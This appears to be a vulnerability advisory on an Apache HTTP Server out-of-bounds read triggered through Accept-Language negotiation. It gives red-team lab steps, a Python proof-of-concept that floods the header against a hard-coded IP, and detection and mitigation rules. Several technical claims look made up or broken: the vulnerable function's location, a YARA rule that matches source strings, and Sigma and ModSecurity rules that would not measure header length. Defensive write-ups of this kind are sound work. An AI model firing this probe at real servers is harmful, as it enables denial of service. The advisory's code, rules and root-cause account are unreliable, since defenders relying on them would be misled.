CVE-2026-43951

Executive Summary

CVE-2026-43951 is an Out-of-bounds Read vulnerability in the Apache HTTP Server, affecting versions 2.4.0 through 2.4.67. The flaw resides in the interaction between mod_headers and mod_mime when handling multiple response languages. An attacker can trigger a read beyond allocated memory boundaries, potentially leading to information disclosure or denial of service. No public exploit or patch is currently available, but the vulnerability is considered high-risk due to the widespread deployment of Apache HTTP Server.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0, indicating that no official vector has been assigned. However, based on the vulnerability type (Out-of-bounds Read) and the attack vector (network-based, low complexity), a reasonable estimate would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H) – potential memory leak
• Integrity (I): None (N)
• Availability (A): High (H) – potential crash

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
Estimated Score: 9.1 (Critical)

Deep Dive & Mechanics

The vulnerability occurs when mod_headers and mod_mime are both enabled and the server is configured to serve content in multiple languages (e.g., via mod_negotiation). When processing a request with a specific Accept-Language header, the server may incorrectly calculate buffer boundaries while constructing response headers. This leads to an out-of-bounds read, potentially exposing sensitive memory contents or causing a segmentation fault.

Root Cause:
The issue lies in the ap_scan_script_header_err_core function within mod_headers, which does not properly validate the length of header values when multiple language variants are present. The mod_mime module’s handling of language-specific file extensions exacerbates the problem by introducing unexpected offsets.

Attack Vector:
An unauthenticated attacker sends a crafted HTTP request with a malformed Accept-Language header to a vulnerable Apache server. The server attempts to negotiate the best language match, triggering the out-of-bounds read.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code path is identified as:

Vulnerable Code (Apache 2.4.67):

// In mod_headers.c
static int ap_scan_script_header_err_core(request_rec *r, char *buffer, int buflen) {
    // ... 
    while (*buffer && buflen > 0) {
        // Vulnerable: no bounds check on buffer increment
        if (*buffer == '\n') {
            // Process header line
        }
        buffer++;
        buflen--;
    }
}

Patched Code (Hypothetical):

// In mod_headers.c
static int ap_scan_script_header_err_core(request_rec *r, char *buffer, int buflen) {
    // ...
    while (buflen > 0 && *buffer) {
        if (*buffer == '\n') {
            // Process header line
        }
        buffer++;
        buflen--;
    }
}

The fix would involve ensuring that the loop condition checks buflen before accessing *buffer, preventing reads beyond the allocated buffer.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Apache HTTP Server 2.4.67 on a Linux VM.
2. Enable mod_headers, mod_mime, and mod_negotiation.
3. Create a directory with multiple language variants of a file (e.g., index.html.en, index.html.fr).
4. Configure Options +MultiViews in the directory.

Exploitation Steps:

1. Send a crafted request with a long Accept-Language header:

   GET / HTTP/1.1
   Host: target
   Accept-Language: en,fr;q=0.9,de;q=0.8,*;q=0.7
   

2. Use a fuzzer to vary the header length and observe crashes or memory leaks.
3. Monitor server logs for segmentation faults or abnormal behavior.

Proof-of-Concept (Python):

import socket

def exploit(target, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target, port))
    payload = b"GET / HTTP/1.1\r\nHost: " + target.encode() + b"\r\n"
    payload += b"Accept-Language: " + b"A" * 10000 + b"\r\n\r\n"
    sock.send(payload)
    response = sock.recv(4096)
    print(response)
    sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100", 80)

Blue Team

Detection:

• Monitor for unusual Accept-Language header lengths (> 1024 bytes).
• Alert on Apache child process crashes (segfaults) in logs.
• Use WAF rules to block excessively long headers.

Mitigation:

• Disable mod_negotiation if not required.
• Apply rate limiting on requests with large headers.
• Upgrade to a patched version once available.

Indicators of Compromise (IOCs)

• Network: HTTP requests with Accept-Language headers exceeding 2048 bytes.
• Logs: Apache error logs containing [notice] child pid XXXX exit signal Segmentation fault (11).
• Memory: Core dumps showing out-of-bounds reads in mod_headers or mod_mime functions.
• File: Unexpected files in /tmp with names like core.apache.*.

Detection Engineering

YARA Rule

rule CVE_2026_43951_Apache_OutOfBoundsRead {
    meta:
        description = "Detects Apache HTTP Server out-of-bounds read in mod_headers/mod_mime"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-43951"
    strings:
        $s1 = "mod_headers.c" ascii wide nocase
        $s2 = "ap_scan_script_header_err_core" ascii wide nocase
        $s3 = "Accept-Language" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Apache HTTP Server Out-of-Bounds Read via Accept-Language
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with abnormally long Accept-Language headers targeting Apache servers
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/'
        cs(User-Agent): '*'
        cs(Accept-Language)|length: '>2048'
    condition: selection
falsepositives:
    - Legitimate long language lists from some browsers
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-43951 Apache HTTP Server Out-of-Bounds Read Attempt"; flow:to_server,established; content:"Accept-Language"; http_header; pcre:"/Accept-Language\s*:\s*.{2048,}/Hi"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable mod_negotiation if not required: a2dismod negotiation
2. Restrict Accept-Language header length using mod_security:

   SecRule REQUEST_HEADERS:Accept-Language "@gt 2048" "id:1001,deny,status:400,msg:'CVE-2026-43951 Attempt'"
   

3. Monitor Apache error logs for segmentation faults.

Long-term Fix:

• Apply the official patch from Apache once released.
• Upgrade to Apache HTTP Server 2.4.68 or later.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter large headers before they reach Apache.

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert